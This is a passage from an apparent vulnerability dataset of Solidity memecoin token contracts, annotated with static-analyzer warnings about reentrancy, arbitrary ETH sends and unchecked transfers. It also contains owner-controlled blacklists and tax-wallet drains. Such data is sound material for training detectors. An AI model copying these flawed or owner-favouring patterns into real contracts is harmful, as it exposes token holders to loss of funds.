_maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount >= _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount >= _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount >= _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 361cc45\n\t\t\t\t// reentrancy-benign | ID: 81c6d53\n\t\t\t\t// reentrancy-eth | ID: 40a34f2\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 361cc45\n\t\t\t\t\t// reentrancy-eth | ID: 40a34f2\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 40a34f2\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-benign | ID: 81c6d53\n if (!limitsInEffect) taxAmount = 0;\n\n\t\t\t// reentrancy-events | ID: 361cc45\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 40a34f2\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 40a34f2\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 361cc45\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function removeMaxBagLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function releaseMindBoundaries() external {\n limitsInEffect = false;\n\n require(_msgSender() == _taxWallet);\n }\n\n function setSwapBackSetting(uint256 swapThreshold, bool enabled) external {\n require(_msgSender() == _taxWallet);\n\n swapEnabled = enabled;\n\n taxAmount = swapThreshold;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 4ccac74): CerebrusMaximus.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 4ccac74: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 361cc45\n\t\t// reentrancy-events | ID: fef9b51\n\t\t// reentrancy-eth | ID: 40a34f2\n\t\t// arbitrary-send-eth | ID: 4ccac74\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2533c25): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2533c25: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 39d7253): CerebrusMaximus.startTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 39d7253: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: dfb7f2a): CerebrusMaximus.startTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for dfb7f2a: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 48e9226): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 48e9226: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function startTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n if (\n IUniswapV2Factory(uniswapV2Router.factory()).getPair(\n uniswapV2Router.WETH(),\n address(this)\n ) == address(0)\n ) {\n\t\t\t// reentrancy-benign | ID: 2533c25\n\t\t\t// reentrancy-eth | ID: 48e9226\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .createPair(uniswapV2Router.WETH(), address(this));\n } else {\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .getPair(uniswapV2Router.WETH(), address(this));\n }\n\n\t\t// reentrancy-benign | ID: 2533c25\n\t\t// unused-return | ID: 39d7253\n\t\t// reentrancy-eth | ID: 48e9226\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 2533c25\n\t\t// unused-return | ID: dfb7f2a\n\t\t// reentrancy-eth | ID: 48e9226\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 2533c25\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 48e9226\n tradingOpen = true;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 361cc45\n\t\t// reentrancy-events | ID: fef9b51\n\t\t// reentrancy-benign | ID: 94d847c\n\t\t// reentrancy-benign | ID: 81c6d53\n\t\t// reentrancy-eth | ID: 40a34f2\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 757abcc): CerebrusMaximus.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for 757abcc: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external onlyOwner {\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: 757abcc\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwapExecution(uint256 tokenAmount) external {\n require(_msgSender() == _taxWallet);\n\n if (tokenAmount > 0 && swapEnabled) {\n swapTokensForEth(tokenAmount);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10732.sol",
"size_bytes": 21826,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract BOH is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 7860045): BOH._taxWallet should be immutable \n\t// Recommendation for 7860045: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: ebab730): BOH._initialBuyTax should be constant \n\t// Recommendation for ebab730: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: cd28330): BOH._initialSellTax should be constant \n\t// Recommendation for cd28330: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 28;\n\n uint256 public _finalBuyTax = 0;\n\n uint256 public _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 208ec1c): BOH._reduceBuyTaxAt should be constant \n\t// Recommendation for 208ec1c: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 11;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9d33e74): BOH._reduceSellTaxAt should be constant \n\t// Recommendation for 9d33e74: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: d1d42ee): BOH._preventSwapBefore should be constant \n\t// Recommendation for d1d42ee: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 public _transferTax = 0;\n\n uint256 public _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Book of Hoppy\"; //\n\n string private constant _symbol = unicode\"$BOH\"; //\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: f08c86d): BOH._taxSwapThreshold should be constant \n\t// Recommendation for f08c86d: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: d4f9587): BOH._maxTaxSwap should be constant \n\t// Recommendation for d4f9587: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 20000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x2f6ADbfbd2e5CD9b3DB9fe0C49f1495A3572C2a0);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: eacec03): BOH.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for eacec03: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: eb92dbd): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for eb92dbd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a724731): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a724731: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: eb92dbd\n\t\t// reentrancy-benign | ID: a724731\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: eb92dbd\n\t\t// reentrancy-benign | ID: a724731\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6599dcd): BOH._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6599dcd: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: a724731\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: eb92dbd\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 441e627): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 441e627: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 3dddece): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 3dddece: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 441e627\n\t\t\t\t// reentrancy-eth | ID: 3dddece\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 441e627\n\t\t\t\t\t// reentrancy-eth | ID: 3dddece\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 3dddece\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 3dddece\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 3dddece\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 441e627\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 3dddece\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 3dddece\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 441e627\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 441e627\n\t\t// reentrancy-events | ID: eb92dbd\n\t\t// reentrancy-benign | ID: a724731\n\t\t// reentrancy-eth | ID: 3dddece\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 441e627\n\t\t// reentrancy-events | ID: eb92dbd\n\t\t// reentrancy-eth | ID: 3dddece\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0acfa1a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0acfa1a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9713ab5): BOH.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 9713ab5: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f945ec0): BOH.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for f945ec0: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 8f200fb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 8f200fb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 0acfa1a\n\t\t// reentrancy-eth | ID: 8f200fb\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 0acfa1a\n\t\t// unused-return | ID: f945ec0\n\t\t// reentrancy-eth | ID: 8f200fb\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 0acfa1a\n\t\t// unused-return | ID: 9713ab5\n\t\t// reentrancy-eth | ID: 8f200fb\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 0acfa1a\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 8f200fb\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10733.sol",
"size_bytes": 19847,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract KIRBY is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n mapping(uint256 => uint256) private perBuyCount;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 028eba3): KIRBY._taxWallet should be immutable \n\t// Recommendation for 028eba3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 private firstBlock = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: b3fd20d): KIRBY._initialBuyTax should be constant \n\t// Recommendation for b3fd20d: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 89a0f0e): KIRBY._initialSellTax should be constant \n\t// Recommendation for 89a0f0e: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5297adb): KIRBY._finalBuyTax should be constant \n\t// Recommendation for 5297adb: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: aaa21e7): KIRBY._finalSellTax should be constant \n\t// Recommendation for aaa21e7: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: b794fb0): KIRBY._reduceBuyTaxAt should be constant \n\t// Recommendation for b794fb0: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6211422): KIRBY._reduceSellTaxAt should be constant \n\t// Recommendation for 6211422: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 120;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6e71b0a): KIRBY._preventSwapBefore should be constant \n\t// Recommendation for 6e71b0a: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 100;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 10000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"KIRBY\";\n\n string private constant _symbol = unicode\"Kirby\";\n\n uint256 public _maxTxAmount = 200000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 200000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e4a8382): KIRBY._taxSwapThreshold should be constant \n\t// Recommendation for e4a8382: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 100000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 69dd467): KIRBY._maxTaxSwap should be constant \n\t// Recommendation for 69dd467: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 100000000 * 10 ** _decimals;\n\n\t// WARNING 